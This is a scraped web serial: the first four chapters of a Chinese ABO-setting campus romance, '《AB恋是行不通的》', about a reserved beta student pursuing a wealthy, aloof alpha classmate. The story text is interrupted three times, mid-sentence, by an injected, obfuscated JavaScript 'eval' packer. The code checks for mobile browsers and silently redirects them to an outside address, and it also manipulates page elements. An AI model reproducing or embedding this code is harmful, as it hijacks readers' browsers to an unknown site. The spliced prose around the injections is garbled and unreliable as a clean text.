《AB恋是行不通的[gb]》 1. 第1章 纸醉金迷的夜店,灯光昏暗,充斥着暧昧又迷离的氛围。舞池里,喧嚣的音乐震耳欲聋,心跳和音乐的节拍共振,人们跟随着音乐尽情扭动。 cardie是A市最具人气的夜店,开在大学城旁边。这里来来往往,最不缺的就是年轻和激情。 在cardie的夜晚,一掷千金的有钱人多的是。 包房里里有十几个人,男男女女都有。 最前面是几个身材姣好,面容出色的omega跟着音乐热舞。在昏暗的灯光下,纤细的腰肢摆动,柔软又富有韵律,勾着人的视线。 包房里坐着几个alpha,都是男人。年轻,玩世不恭的富家子弟。 点来陪酒的omega缠缠绕绕的依在他们身上,个个妩媚又娇俏,纤纤玉手端起将酒杯喂到他们嘴边,然后一饮而尽。情到深处,男人搂过omega的后颈,俯身亲了下去。 酒液在他们的唇齿间交换。 热烈的氛围充斥包房,欢呼声此起彼伏,荷尔蒙不断攀升,让人的大脑处在极度愉悦中。 尽管在座的几位都不简单,但是仍然能看出来,这群人的中心是那个穿着黑色半高领毛衣的男性alpha。 他看起来很高,身形劲瘦。浅金色的头发被随意的梳在脑后,露出光洁的额头,整个人透着张扬和不羁。 他一直坐在角落里,很安静。 alpha垂眼看着手机,屏幕的光打在他的脸上,面上没带什么情绪,也不怎么感兴趣的样子。男人看了一眼消息,就将手机摁灭,随手扔在桌上。 房间里的音乐就没有停过,前面跳舞的人笑眼盈盈,往这边暗送秋波。但是很明显,男人并没有太多的兴致。 不例外的是,他身边也陪着几个omega,但是没人敢给他灌酒。毕竟在酒吧久经风霜,谁的心眼子也不少。什么人该惹,什么人不该惹他们还是知道的。 但是有人就是不甘心,明眼人都知道面前这个人才是这堆人里最有权势的。如果能把握住,哪怕是春风一度,也能有意想不到的收获。 包房里放着情歌,灯光又实在暗,暧昧在这种氛围中被无限放大。omega画着上挑的眼线,在灯光下媚眼如丝。他拿着酒,走到陆恪身边。 俯身弯腰,胸前的风光若隐若现。omega将陆恪的杯中满上酒,白嫩的手将酒杯端起来,喂到陆恪嘴边。 “陆少爷,我敬你一杯。”omega的声音很甜腻,他身上有水蜜桃的甜香。现在的omega都喜欢在身上喷与自己信息素气味相似的香水。 这其实也是一种暗暗的勾引。 怎么会有alpha能抵抗得住omega的信息素呢。 酒已经喂到了陆恪的唇边,溢出来的酒水沾湿了他的唇,在灯光的折射下有莹润的水光。有一种说不出的艳丽和勾人。 男人抬眼,冰冷的眼眸直直看向面前的omega。陆恪眉眼生得极为好看,眼珠漆黑,眼尾是微微上扬的,很标准的凤眼,锐利逼人。眼尾下方点缀的痣恰到好处,平添几分迤逦。 两人四目相对,陆恪眼底毫无波澜,他既没说话,也没饮下这杯酒。这让场面瞬间件变得十分尴尬,气氛凝滞下来。 omega端着酒杯的手变得僵硬,他现在想后退,但是又不合时宜,整个人僵在原地不知道该如何处理现在的情况。 omega心里已经十分后悔,不应该这样贸然的将酒端过来,导致现在如此难堪。 果然有些钱,赚不来是他的命! 方知明注意到这边的情况,他一眼就看出来现在陆恪心情不佳。眼看着就快要发脾气的势头,这祖宗如果闹起来,他们在场的哥几个都得遭殃。 “我说你这么没眼色,陆哥他今天不想喝酒。这杯我替陆哥干了!”方知明一把接过omega手中的酒,仰头一饮而尽。随后他摆摆手,示意omega离开:“出去吧,没个眼力见的,杵这儿也是碍眼。” 方知明接下了这杯酒,omega眼睛都亮了,他连忙给方知明道谢:“谢谢方少爷,我这就出去。” “哎!要谢就谢陆哥,不要谢我。今晚的酒是陆哥请的。”方知明连忙让omega打住,然后侧头看了一看陆恪的脸色。 omega立刻心领神会,他向陆恪弯腰:“谢谢陆少爷今晚的酒。” 说完也小心翼翼的看着陆恪的面色,见他没有动怒,便忙不迭的退了出去。 陆恪对于方知明和这个omega的弯弯绕绕不感兴趣。桌上的手机又亮了,在这昏暗的包房里很显眼。陆恪瞥了一眼,又漫不经心的移开目光,没管。 过了许久,他才探身将手机拿过来。 陆恪的手骨节分明,修长白皙。他解锁手机,看到那个微信最顶端的头像,亮着小红点,有人给他发了消息。 现在其实还不算很晚,至少没有到A大门禁的时间。但是也快了,A大工作日的门禁时间是晚上23点。陆恪手机上显示,现在的时间是22点40分。 A大是全国顶尖的大学,能在A大上学的,都是各地在高考中取得优异成绩的学生,这些都是高考金字塔尖尖上的人。 方知明看到陆恪垂眼看着手机,他探过头来,看向陆恪的屏幕。 “陆哥,又是那个追你女beta?叫什么来着......”方知明想了想,才突然想起,“好像叫千述,应该是叫千述吧?” 陆恪没给人备注,所以最上面的头像那个人的名字是她的微信名,只是一个简单的“。”,似乎没有太多深意。 陆恪没点开那个小红点,就将手机摁灭。 方知明看着陆恪这无所谓的模样,咂舌道:“陆哥,人家给你发这么多条消息,你看都不看一眼。” “没兴趣。”陆恪薄唇轻启,声音带着慵懒。 陆恪靠在沙发上,眼皮耷拉着,懒懒的看着大屏幕上放的视频。 因为刚才的事情,那些omega都识趣的离陆恪远点,不再打扰他。所以在热烈的氛围中,陆恪显得十分不合群。 不过无所谓,他也不需要合群,想要巴结他的人太多。 时间一分一秒的流逝,包房里的时速似乎要比外面快很多,转眼间就快到了晚上23点。 大家都在喝着酒,甚至开始玩起了骰子游戏,猜输的人喝酒。纸醉金迷的包房里,大家都沉溺其中,完全没有时间的概念,也没有离开的迹象。 A大的门禁对这群富家公子而言形同无物,他们在A市有房子,根本不需要住在宿舍里。 23点05分,门禁时间过了,陆恪依旧没动。 其实在场的大多数人都想和陆恪攀上关系,毕竟如果可以和陆恪交上朋友,家里的生意也会得到照拂。 但是陆恪现在明显不想理人,他低着头玩手机游戏,俄罗斯方块的声音传了出来。 游戏结束的声音响起,陆恪将手机揣进口袋里,拿起沙发上的外套就往外面走。 “你们慢慢喝,今晚的消费都记在我的账上。”陆恪给大家打了声招呼,推门往外面走。 在场的人很懵,不明白陆恪怎么突然就走了,没有任何征兆。 陆恪是一个很随性的人,在他身边巴结他的狐朋狗友,很少有人能搞懂陆恪的心思。 方知明见陆恪推门出去,忙起身跟上去:“陆哥,我和你一起走!” 出了cardie,才发现外面下起了淅淅沥沥的雨。酒吧招牌的灯光经过雨水的折射,更加的绚烂梦幻。 现在是五月,A市的温度还不是很高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073206|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尤其是到了晚上会更加的冷一些。如果不穿外套,夜里冷风一吹,指不定还得生场小病。 下雨的时候,空气会变得很清新。吸一口凉凉的冷空气,在里面昏昏沉沉的脑子瞬间变得清醒很多。 “陆哥,我今天没开车来。你载我一程吧。”方知明跟在陆恪身边说话。 陆恪最近新提了一辆兰博基尼aventador,是今年最新发行的,方知明想感受一下。 方知明家教甚严,他爸是白手起家拼上来的,在金钱观念上比较节俭。方知明还有个哥哥,企业的事情大多数都是方知明他爸和他哥顶着。虽然方知明他爸对他很宠爱,但是也不会让他乱花钱。 但是陆恪的父母几乎不管这些,陆恪买超跑就跟买个小玩具一样。 “你开吧。”陆恪将钥匙丢给了方知明。 方知明脸上一喜,心里美滋滋,他早就想试一下这辆车:“谢了,陆哥。” 因为还在下雨,冷飕飕的,门童撑着伞将陆恪和方知明送到车上。陆恪将车窗打开,透进来一丝凉气,雨丝也跟着飘了进来。 陆恪看着外面湿漉漉的地面,眼皮泛红,神色怏怏的,不太有精神的样子。他抬眼,不期然的和那双平静的眼眸对视。 酒吧的屋檐下走过来一个女生,她应该是也没带伞,所以淋着雨走了过来。千述戴着黑框眼镜,及肩的发半扎,头发湿淋淋的贴在她的脸上,像是阴湿的女鬼。 她穿得很单薄,薄薄的毛衣被雨打湿就会变得湿湿润润的,贴在身上格外的难受。 现在已经到了凌晨,几乎是午夜的时候了。 千述走到了跑车旁边,然后将手中的袋子递给陆恪,语气平静:“我听见你今天上课的时候咳嗽了几声。最近流感很厉害,这是我给你买的药。你等会儿回去的时候吃一颗,明天就不会难受了。” 其实千述很早就来了,从晚上10点,等到现在已经过了凌晨12点,过了A大的门禁。她给陆恪发了消息,陆恪没有任何回复,千述就只能在这儿等着。 千述的眼睛很大,瞳仁是黑色的,深不见底的黑。当她认真的看着你的时候,你会有一种被深渊凝视的毛骨悚然的感觉。 陆恪抬眼看着面前这个女beta,她已经缠了他快一年了。她的追求很高调,也不能说高调吧,主要是陆恪在学校热度太高,大家总会不自觉的关注他周围的事情。 于是千述这个颇有毅力的追求者有幸映入大家的眼帘。倒也不是大家鼓励千述追求高岭之花,纯粹就是为了看她的笑话,看她什么时候被陆恪赶走。 没想到陆恪脾气这么差,千述还能追求他这么长的时间,几乎是关怀备至。连众人都不自觉怜爱千述,怎么就偏偏喜欢这么一个脾气差劲,玩世不恭的少爷。 原因似乎显而易见,暂且不提陆恪的家世,就单说外貌都让人为之惊叹。他不同于其他alpha那样五大三粗,陆恪长得清俊挺拔。再加上他身高腿长,比例极佳。 会有人喜欢上陆恪是一件再正常不过的事情。 就比如现在,陆恪眼尾烧的红红的,尽管整个人都透着不耐烦,但仍旧掩盖不了他因为生病变得更加漂亮的脸蛋。 陆恪抬眼看着车窗外站着的千述,又瞥了眼她递过来的药。 “不需要。”陆恪直截了当的说,语气里没多少耐心。 陆恪直接将车窗关上,把千述隔绝在外。外面的雨越来越大,千述的镜片都打湿了。站在雨中的千述,身形单薄又瘦弱。 她看着手里的药,用袋子好好的装着。哪怕千述全身都快湿了,袋子里面仍旧是干燥的。 陆恪没理会这些,他当然不需要理会一个追求者的自尊心。 随着引擎的轰鸣声,红色的跑车弹射起步,向远方驶去。 2. 第2章 昨天晚上千述没有回宿舍,她随便找了个酒店住了一晚。是开在学校附近那种便宜又实惠的酒店,就是隔音不太很好。 千述一晚上都能听见隔壁情侣的声音,很久都不消停。现在已经是深夜,酒店的窗帘关不严实,从缝隙处泄进来一丝路灯昏黄的光线。 隔壁的声音就像魔音穿耳一般,怎么也避不开。千述缓缓睁开眼,静静的看着天花板。直到眼睛干涩,她才又将眼睛闭上,但是这些声音仍旧不放过她。 千述猛地掀开被子,打开门。她走到隔壁门前,敲响房门,深夜中敲门的声音格外清晰,突兀又渗人。 “能安静些吗?” 千述语气没有任何情绪,是平铺直叙的语调,听着凉凉的。里面的声音一滞,估计被吓了一跳。 终于有一个安静的睡眠了。 第二天早上千述还有课,所以她一大早就收拾东西回了学校。 可能是昨晚淋了雨,再加上一晚上都没睡好的原因。千述现在觉得头有点晕,面色也带着苍白,想来应该是感冒了。 因为没带教材,所以要先回寝室一趟。 千述回到寝室的时候,还不到早上八点,寝室里面有两个人正在睡觉。 A大的寝室是四人间,基本是本专业住在同一个宿舍。千述她们宿舍的四个人都不是A市的人,都是从外省考进A大的。 千述家可能稍微例外一点,她在大学之前一直住在S市,高中毕业后才搬到了A市,所以千述对外一般说自己是S市人。 推开门,寝室很安静。 昨天晚上下了雨,今天就是一个大晴天。阳台的门没关,千述一打开门,空气对流,能吹到习习的微风,这让她晕晕的脑子稍微好受一点。 千述尽量放低声音,她不在宿舍呆很久,拿本书就走。 靠近窗台的粉红色床帘一下子被拉开,谢宁从上铺探了一个头出来。 “千述,你回来啦?”谢宁将耳机摘下,她穿着睡衣,头发也乱糟糟的。 可能是因为年轻吧,在校园里随便穿什么,华贵或质朴,都能从她们身上感受到生命的活力。 千述没说话,她将视线看向对面还拉着床帘的床。 谢宁摆摆手,不甚在意道:“罗兰玉早都醒了,她戴着耳机打游戏呢。” 罗兰玉听到外面的声响,也掀开帘子看过来:“千述你啥时候回来的?” “刚刚到的。”千述回复道。 “你昨晚是不是去约会了,你都不知道你不在寝室,我的心里就空落落的,睡也睡不好。”谢宁撇着嘴,撒着娇。 如果不是看着谢宁面色红润,唇红齿白的,千述可能会对谢宁的话多一分信任。 不过千述还是简单说明了原因:“没有,只是错过了门禁,所以必须在外面住一晚。” 谢宁就是很喜欢撒娇,她是那种长得白白嫩嫩的女孩子,很多人看到她的第一眼,印象都很好。 但是千述应付不来这样的热情。 谢宁看了看对面的床铺,已经收拾的干净整洁,谢宁感叹道:“向曼青真的太自律了,一大早就收拾书去图书馆,她说她以后准备出国读研,现在就开始备考雅思。” 向曼青也是S市人,不过她和千述不在同一个高中。千述读三中,向曼青读的是外国语中学。所以她俩是在大学才认识的。 听到谢宁的话,千述怔了一下。 罗兰玉看着千述手中抱着的书,打趣道:“你再不走可能赶不上这节选修课了,快8点咯。” 尽管是同专业的学生,但是选修课却不一定完全相同。今天上午的选修课,寝室里只有千述一个人选了 千述回神,她抱着书往外面走去:“那我先走了。” “好,拜拜。”谢宁又将耳机戴上,缩回床里,和罗玉兰一起打游戏。 ...... A大的校园很大,如果不是有意去留心,没有关系的两个人几乎很难遇见。 尽管早八确实让人昏昏欲睡,但如果是自己喜欢的课程,好像也过得挺快。千述很聪明,在学习上面也很有兴趣。 在选择专业的时候,千述的父亲有给她提过一些建议。希望千述能选择一些稍微简单的,不是太废心力的专业。但是千述拒绝了。 最后她选择了自己喜欢的专业,这可能是她在生命中面对父亲最为坚决的时候。 选修课结束以后,已经到了上午10点。 走出教室的时候,天气实在太好了。5月A市温度上升,正处在不冷不热的时候。 微风和煦,万物晴朗。 植物也仿佛焕发新生一般,枝叶舒展。到处都是绿油油的一片,充满生机。 等会儿要去物教楼上主修课,这中间有半个小时的时间,不是很着急。千述安静跟在人群里,她穿着简单的卫衣戴着耳机,垂着眼慢吞吞的走在路上。 A大的校园绿化做的很好,校园里有很多的树。尤其是主干道上两旁都种植着梧桐。现在是初夏,阳光透过梧桐的绿叶落在地上,形成光斑。 千述不是一个很张扬的人,大多数时候她都很沉默,正如她beta的身份。追求陆恪,是她做过的最出乎意料的事情。 她们寝室都知道千述在追求陆恪,千述对此并没有太多的隐瞒和解释。 谢宁不止一次的说过:“根本想不到你会喜欢陆恪这样的人,你完全和他不是在一个世界的人。” 陆恪在学校里名声太盛,行为做事又十分乖张。他人不经常在学校,也很少来上课。但是每次考试陆恪都可以低空飘过,听说是家里用了钞能力。 “他就是不学无术的二世祖,仗着家里有几个钱胡作非为。而且听说他私生活特别混乱,天天流连夜店,这人真的不行。”谢宁不太喜欢陆恪,所以经常在千述面前说陆恪坏话。 期望千述可以回心转意。 当时向曼青在电脑上做程序测试,她听了很久,才慢悠悠的开口:“他家可不是只有几个钱,我们学校前几年修建的教学楼就是陆家出钱修的。因为陆恪读了这个学校,陆家的企业还和学校达成了很多的合作项目。” “所以哪怕陆恪本人再如何差劲,都会有人喜欢他的。哪怕是为了钱。”向曼青说这话的时候看着千述,然后勾唇微微一笑。 千述和向曼青四目相对,又撇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073207|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开目光没说什么。 谢宁还是愤愤不平,罗玉兰安慰她:“你听到的那些传言,未必都是真的,平常心对待嘛。而且,至少陆恪长得算好看,看看脸还是赏心悦目的。” 罗玉兰这话说的没错,在学校追求陆恪的人简直可以排队绕学校操场一圈。喜欢他的人,不仅有omega和beta,甚至连alpha都不少。 身为beta的千述,只是他众多追求者中最不起眼的一个。 走到物教楼,罗玉兰和谢宁已经早早的到了教室,向曼青也从图书馆里出来。向曼青比千述早到教室,她看到千述走进教室,跟她挥手。 她们给千述留了一个位置,四个人坐在一起。 现在上课还没开始,教室里乱哄哄的,大家都在讲话,或者玩手机。 千述坐在谢宁旁边,谢宁眼睛直勾勾的盯着手机,一脸笑意。 千述刚坐下,正在把书包里的电脑拿出来。谢宁用手肘碰了碰千述的,道:“你快看寝室群消息。” 入学的第一天,在罗玉兰的建议下,她们建了寝室群。后来的很多学习资料或者八卦都会分享在群里。 千述把电脑放桌上,然后打开手机,看到是谢宁发过来的一个链接,千述打开看,发现是学校办的音乐节。 A大作为顶尖的大学,它的优秀不仅体现在学术方面,在德智体美劳的很多方面都十分突出。学校经常举办各种活动,也鼓励学生多方面发展自己的兴趣爱好。 千述往下翻,可以看到长长的邀请名单。这次的音乐节规模很大,除了有本校的学生表演,还邀请了A市其他高校的学生,以及社会上的一些乐团来演出。 但是千述对音乐节并没有太多兴致,她是一个无趣的人。 摸鱼F(4) 谢谢宁嘞:【链接】 谢谢宁嘞:下周五学校要举办音乐节 谢谢宁嘞:邀请了很多乐队来!!规模最大的一次,我们一起去吧! 罗罗罗罗玉兰;我要去我要去。 罗罗罗罗玉兰:(小孩举手.jpg) 罗罗罗罗玉兰:靠,这次居然邀请了城际乐队!他们真的很小众。 向钱看:这次能抢到票不,我们寝室手气太差,去年就没抢到。 罗罗罗罗玉兰:认识的学姐说可以帮我们搞到票。 向钱看:那就ok。 向钱看:@千千树,千述你来吗? 千述一直在群里没发声,坐在一起的三个人都齐刷刷的看向千述。千述面色平静,没有丝毫犹豫,拿着手机在屏幕上戳戳戳。 摸鱼F(4) 千千树:我不去。 向钱看:陆恪的乐队有表演节目。 向钱看:(截图.jpg) 千千树:...... 千千树撤回了一条消息 千千树:好的,突然又能去了。 谢谢宁嘞:? 谢谢宁嘞;(靓女无语.jpg) 罗罗罗罗玉兰:色字头上一把刀啊,千述。 向钱看:忘本。 三个人向千述投来意味深长的目光。 3. 第 3 章 “你不是在追陆恪吗?你居然不知道他要参加音乐节?追人都追不明白。”谢宁吐槽道。 主修课下课以后,正值中午饭点,寝室四个人相约一起去食堂吃饭。 A大的食堂出了名的便宜又好吃,很多毕业的学长学姐,哪怕已经毕业好几年,都会怀念A大的食堂。 听到谢宁吐槽的声音,千述随口解释:“我没翻到下面。” 出演名单很长,陆恪的乐队几乎在最下面,应该是准备压轴出场。 “当时新生晚会的时候,陆恪和音乐学院的宋雨凡合奏了一曲,简直是惊为天人。”罗玉兰在旁边符合道。 大一军训结束以后,学校举办了新生晚会。开场便是二人演奏。陆恪拉小提琴,宋雨凡弹钢琴。 两人穿着西装礼服进场的时候,舞台上灯光暗了下来,唯有一盏灯,落在两个人的身上。钢琴和小提琴交错在一起,完全就是王子公主的盛宴。演奏结束的时候,钢琴的最后一个音落下,台下响起了雷鸣般的掌声。 有人录了视频发到网上,当时还在社交平台上小火了一把,后面学校论坛里,好多人在讨论他们。 “还有人在传他俩谈过恋爱,不过两个人都没正面回应过,其实还蛮般配的,在当时看来。”谢宁很喜欢八卦,对这些事情津津乐道。 千述在旁边没有说话,谢宁转过头来看到她一脸平静的表情,完全没有感触。 谢宁震惊:“你不知道新生晚会陆恪和宋雨凡的演奏?” 千述摇头:“不知道。” 谢宁:“?” 谢宁有些好奇的问道:“那你是在什么时候喜欢上陆恪的?” 千述诚实回答,语气平直:“记不得了。” 谢宁翻白眼。 现在是饭点,去食堂的人很多。有点喧嚣,又带着年轻人那种活力,朝气蓬勃。 四个人买了饭坐在一桌。 “千述,你今天下午还要去校外兼职吗?”罗玉兰吃着饭,突然想到了什么,抬头问道。 自从上了大学开始,只要有空闲时间,千述都会去兼职。 最开始寝室里的三个人都不知道千述在外面兼职,因为向曼青,罗玉兰家境都还挺好的,谢宁家里更是把她宠上天了,零花钱收到手软,所以几个人没有去兼职的概念。 尽管千述早出晚归,但是出于对个人隐私的尊重,没有人主动问过千述这件事。 是后来有一次,千述回来的有些晚了,她进了学校,但是宿舍门已经关了。千述按了楼下的门铃又打了电话,宿管阿姨没听到,迟迟不出来开门。 千述才在寝室群里发了消息,问谁有空,能不能帮她叫一下宿管阿姨开门。 当时谢宁在洗澡,罗玉兰在打游戏没看消息,最后是向曼青来帮千述开的门。 后来大家才知道千述一直在外面兼职。 很不可思议,因为千述看起来并不像是家里贫困的样子。她身上穿的衣服,尽管不是奢侈品,但是大多都不便宜。所以最开始,真的没人往兼职这方面想。 千述抬起头,扶了扶因为低头吃饭滑落的眼镜,回答道:“今天下午要去,怎么了?” 罗玉兰拿起手机,点开聊天记录,递给千述,道:“学生会的学姐已经大四了,马上要出去实习。” “她一直在给一个小孩补课,但是因为要实习了嘛,所以就没时间再去那边上课。但是孩子的学业不能落下,家长就问学姐身边有没有适合的人选,可以推荐过去。” 千述看了看学姐和罗玉兰的聊天记录,礼貌的没往下翻,还给了罗玉兰。 “我这不是看你一直在找兼职嘛,就把你推荐给了学姐。听学姐说,那小孩家里可有钱了!住在南安区,我觉得你可以去试试。” 罗玉兰对兼职不感兴趣,她有空闲的时间都在打游戏。她把自己的游戏片段剪辑一下,发到网上,还成了网络上小有名气的游戏up主。 “我把学姐微信推给你,你如果想去,就和她联系一下。”罗玉兰把微信推了过去,千述这边的手机屏幕亮了起来。 “谢谢。”千述一双黑黝黝的眸子看着罗玉兰,她声音低低的,在吵闹的食堂听不真切。 罗玉兰摆摆手,满脸无所谓道:“哎呀,谢什么谢,肥水不流外人田!再说了,就你这水平,教个小学生,绰绰有余好吧。” 向曼青在一旁,悠然道:“有滤镜了哈,现在小孩聪明着呢。” 谢宁就不服了,她坐在千述旁边,拍了拍她的肩:“我们千述更加厉害!” 向曼青笑了笑,她看向千述,定了几秒,道:“是的,更加厉害。” ,,,,,, 碧府大院在南安区的生态公园附近,放在整个A市来看都是黄金地段。在现在高楼林立的大城市,掩映在绿色中的古宅,颇有闹中取静之感。 千述在大门口停了下来,这边安保很严,如果没有身份验证是没有办法进去的。 小孩的家长已经提前在物业管家那里将千述的身份信息录入,千述第一次来需要将身份证信息和人脸验证录进去,以后再来就会方便很多。 成功弄好以后,保卫处的工作人员给千述安排了接驳车。这片区域很大,如果靠走路,可能一个小时也不一定能走到兼职的地方。 坐在接驳车上,微风吹着,满眼绿色,千述难得的脑袋放空。 她想,可能这样的房子才是父亲想要的,或者他想要的也不是房子,而是能住进来的权势和钱财。 放空的时间仿佛很快,转眼间就到了地方。 千述今天穿得很素净,白色的衬衫加上牛仔裤,背了一个黑色的书包,里面是电脑,还有准备的资料。 她今天的主要任务就是来试课,尽管是学姐推荐的,但家长仍旧要观察是否合适,这是人之常情。而且听学姐说,哪怕是不合适,家长也会发红包,将打车费和一天的工资进行结算。 按响门铃,有保卫将古朴厚重的大门打开。迈进大门,有人带着千述往里面走。里面是一个院落,曲径通幽,亭台楼阁错落有致。走了一会儿,才到了主人家真正居住的地方。 千述安静的在门外等候,没过一会儿就有人来开门,是一个约莫五十岁左右的阿姨。 “是千述老师吗?快请进吧。”阿姨看着和善,人也笑眯眯的。 “需要换鞋套吗?”千述站在门边问道。 “不用不用,夫人给您准备了新的拖鞋。”阿姨从鞋柜里拿了一双崭新的拖鞋出来。 千述安静的穿上,然后跟着阿姨往里面走。 在一个陌生的环境,千述一般都是安静的。她既不会展现出害怕紧张的样子,也不会东张西望显得失礼。大多数时候千述会保持沉默,观察周围。 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073208|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面是古朴的宅院,进了里面才发现别有洞天。天花板上挂着华丽的水晶吊灯,灯光璀璨。墙上挂着名家字画,厅内摆放着名贵的红木家具,古朴典雅。 家具的配饰也极为讲究,丝绸的坐垫,精美的瓷器摆件,无一不体现出精致,奢华。 沙发上坐着两个人,千述一走进来女人就站了起来,向千述走过来。 “是千述老师吗?你好。”时谨走到千述面前,她微笑着向千述伸出右手,“我是陆昱辰的妈妈。” 面前的女人看起来很年轻,长相柔美,保养得宜。她穿着剪裁得体的真丝长裙,完全看不出已经四十岁了。 千述也伸出手,道:“您好,我是千述。” 陆昱辰应该就是跟在时谨后面的小孩,资料说他才七岁,正在读小学二年级。他长得白白净净的,似乎有些害羞,一直用眼睛偷偷的瞄千述。 千述弯腰,微笑的着看着他,这是千述在镜子面前练了千百次的笑容,无可挑剔。千述柔声道:“你好,我叫千述。” “我叫陆昱辰。”小男孩小小声的开口。 时谨看着千述和儿子的相处,笑道:“他性格就是害羞的很,不太喜欢说话,也不知道随了谁。” 随后时谨又道:“千述老师,我们去二楼书房详谈吧。” 主要就是谈孩子的学习情况,以及之后规划如何补课,再然后就是试课了。 小学二年级的孩子,其实也没有太多知识需要补课,更加重要的是培养孩子的学习兴趣。 “他爸爸很看重陆昱辰的学习,但是我们工作忙,可能没办法兼顾到他的学业。所以就想请个老师陪伴他学习。” 千述坐在窗边,轻轻翻看手里的资料,路昱辰拿着笔,皱着小脸正在算小学奥数题,看着可爱极了。 她想着时谨方才说的一番话,字里行间都是对孩子的爱。千述有些恍惚。想到了自己的母亲。 孩子是一颗树,水和阳光固然能够让其成长,但是唯有爱才能让他枝繁叶茂。 二楼窗外是一颗很大的银杏树,绿色的枝叶在微风中轻轻摇曳,生机勃勃,郁郁葱葱。 时间一晃而过,已经到了傍晚的时候。 时谨很满意千述的补课,和千述确定了薪资和上课时间。 千述离开的时候,接驳车已经等在了门外。如果天晴,傍晚的时候就能看到晚霞。 千述坐在接驳车上,静静的看着天空,她的表情变得空白,完全没有方才温柔的样子。 微笑和社交对于千述而言是一件非常耗费能量的事情,但有的时候她需要这样的假面。 今天的晚霞格外的盛大,火烧云将半边天都染成了橘红色,辽远又壮阔。 晚霞很美,只是转瞬即逝。 手机响起,是宿舍群里发了消息,让千述早点回来,说是谢宁的男朋友今晚要请大家吃饭。 她们寝室4个人,除了谢宁,其他人都没谈恋爱。千述是追人追不到,天天在外当舔狗。向曼青和罗玉兰则完全没有恋爱的想法,她们都很忙,实在没心思恋爱。 千述在群里回复了一句,就将手机收了起来。 对向车道从远处驶来一辆车,线条流畅,展现出极致的美感,一看就价格不菲。 在这里遇见再名贵的车似乎都正常。 千述收回自己的目光,接驳车和跑车擦肩而过。 4. 第 4 章 很快就到了A大举办的音乐节,这次的举办场地是在A大的第一体育场。 音乐节是在下午的时候开始,不过在昨晚的时候,场地就已经布置好了。 周五上午,千述她们有课,四个人都要去上课。只是路过体育场,远远的都能听见话筒里传出悠扬的歌声,这是出演的乐队们在提前彩排,为今晚的音乐节演出做准备。 可能是夏天快要到了,这段时间都是好天气,现在阳光又好,还不热,真的太适合出去玩了,但是要上课。 谢宁有点蔫,她昨天晚上和罗玉兰打游戏,然后又随手打开了一本小说看到深夜。今天实在是不想去上课,早上差点没起来,最后被向曼青从床上薅了起来。 谢宁转头看着在体育场彩排的学生特别羡慕,不用上课。 罗玉兰看着体育场,问道:“今天晚上几点开始啊?” “六点。”向曼青回复道。 “那我们赶得及,下午上完课回寝室收拾一下,早点来,还能抢个好位置。”罗玉兰道。 周五下午千述她们还要上两节实验课,差不多下午四点结束,回宿舍收拾一下,刚好能赶上音乐节。 周五的课终于结束,四个人回到了寝室。现在体育场那边已经有了很多人,现场也在就紧锣密鼓的调试设备,时不时就能听到“喂喂喂——”的声音。 要参加音乐节,大家都有点激动。寝室里开始收拾化妆了。 在大学上早八的时候一个二个素面朝天,黑眼圈都快挂到脸上,身上的怨气能够养活十个邪剑仙。但是一到了玩儿,或者活动什么的,那就是一整个焕发生机,神采奕奕。 “我说,你怎么这么久了还是不会贴假睫毛。”谢宁正在给千述贴假睫毛,两个人了离得极近。 谢宁绝对不允许千述在这样开心的时刻素面朝天,她必须保证每个人拍照的时候都是容光焕发的! 千述沉默。 太阳落山以后,音乐节拉开序幕。 镭射灯的灯光交错,现场已经开始预热,鼓点声骤然响起仿佛敲击在人们的心上。 伴随着大屏幕上的数字倒数,五、四、三、二、一,一道强光直冲云霄,鼓点声变得急促又激昂,全场沸腾,欢呼声、掌声、口哨声交织在一起。 随着主持人的出场,A大音乐节正式开始。 现场的氛围实在是太热烈了,这种气氛很能带动人,跟在人群中就会不自觉的参加大合唱,在草地上随着音乐蹦迪,开怀大笑。 空气中都弥漫着自由又浪漫的气息。 每首表演的歌都有属于自己的味道,或激昂热烈,让人脏跟着快速跳动。或缠绵忧伤,勾起内心的伤感情绪。 总之,这一晚上,大家都处在亢奋中,跟随着音乐的节奏肆意挥洒汗水。 陆恪的出场,将整场音乐节推向高潮,舞台瞬间被点燃。 主唱一开嗓,极具穿透力的嗓音裹挟着炽热情感,直直钻进每个人的心底。电吉他紧随其后,一连串激昂的音符倾泻而出。人们高举双手,跟着节奏肆意的尖叫,嘶吼。 千述直直的看着台上,没有花费太多功夫,她就认出了,那个将头发梳在脑后的人,露出光洁额头的人是陆恪。 他今天的发色又变了,之前是浅金色的头发,带着淡淡的冷意,不好接近的样子。现在的头发,则是烈焰燃烧般的红发,狂野不羁。 